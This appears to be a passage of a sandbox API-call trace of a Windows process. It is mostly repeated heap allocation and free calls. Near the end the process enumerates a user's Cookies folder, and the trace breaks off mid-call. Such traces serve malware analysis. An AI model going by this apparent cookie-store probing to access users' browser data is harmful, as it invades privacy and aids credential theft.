Flags=0x0, Size=0x830) returned 0x32476f0 [0066.997] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.997] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0066.997] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0066.997] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.997] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.997] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0066.997] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0066.997] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.997] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.997] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0066.997] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0066.997] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.997] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.997] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0066.997] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0066.997] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.997] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.997] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0066.997] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0066.997] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.997] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.997] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.997] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.997] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0066.997] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0066.997] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.997] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.997] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0066.997] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0066.997] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.998] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.998] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.998] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.998] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0066.998] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0066.998] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.998] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.998] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0066.998] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0066.998] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.998] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.998] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0066.998] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0066.998] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.998] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.998] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0066.998] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0066.998] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.998] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.998] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0066.998] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0066.998] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.998] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.998] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.998] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.998] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0066.998] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0066.998] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.998] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.998] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0066.998] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0066.998] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.999] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.999] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0066.999] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0066.999] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.999] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.999] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0066.999] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0066.999] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.999] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.999] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0066.999] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0066.999] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.999] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.999] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0066.999] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0066.999] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.999] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.999] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0066.999] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0066.999] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.999] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.999] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0066.999] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0066.999] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.999] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.999] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0066.999] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0066.999] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.999] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.999] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0066.999] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0066.999] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.999] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.999] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.999] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.999] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.000] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.000] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.000] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.000] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.000] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.000] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.000] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.000] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.000] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.000] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.000] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.000] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.000] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.000] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.000] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.000] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.000] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.000] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.000] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.000] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.000] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.000] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.000] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.000] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.000] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.000] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.000] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.000] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.000] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.000] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.000] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.000] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.000] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.000] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.000] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.000] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.001] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.001] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.001] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.001] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.001] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.001] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.001] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.001] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.001] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.001] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.001] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.001] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.001] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.001] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.001] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.001] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.001] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.001] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.001] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.001] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.001] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.001] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.001] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.001] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.001] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.001] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.001] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.001] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.001] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.001] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.001] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.001] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.001] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.001] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.002] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.002] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.002] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.002] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.002] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.002] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.002] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.002] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.002] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.002] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.002] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.002] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.002] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.002] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.002] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.002] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.002] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.002] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.002] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.002] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.002] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.002] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.002] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.002] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.002] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.002] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.002] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.002] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.002] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.002] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.002] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.002] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.002] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.003] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.003] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.003] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.003] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.003] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.003] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.003] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.003] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.003] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.003] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.003] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.003] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.003] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.003] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.003] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.003] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.003] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\") returned="Cookies\\" [0067.003] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0067.003] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3286da0 [0067.003] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.003] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0067.003] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x31830e8 [0067.003] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0067.003] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0067.003] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3286da0 | out: hHeap=0x5d0000) returned 1 [0067.003] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0067.003] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0067.003] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0067.003] PathFindFileNameW (pszPath="") returned="" [0067.003] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.003] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 0xffffffff [0067.003] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.004] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31830e8 | out: hHeap=0x5d0000) returned 1 [0067.004] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325d340 | out: hHeap=0x5d0000) returned 1 [0067.004] PeekMessageW (in: lpMsg=0x38cff08, 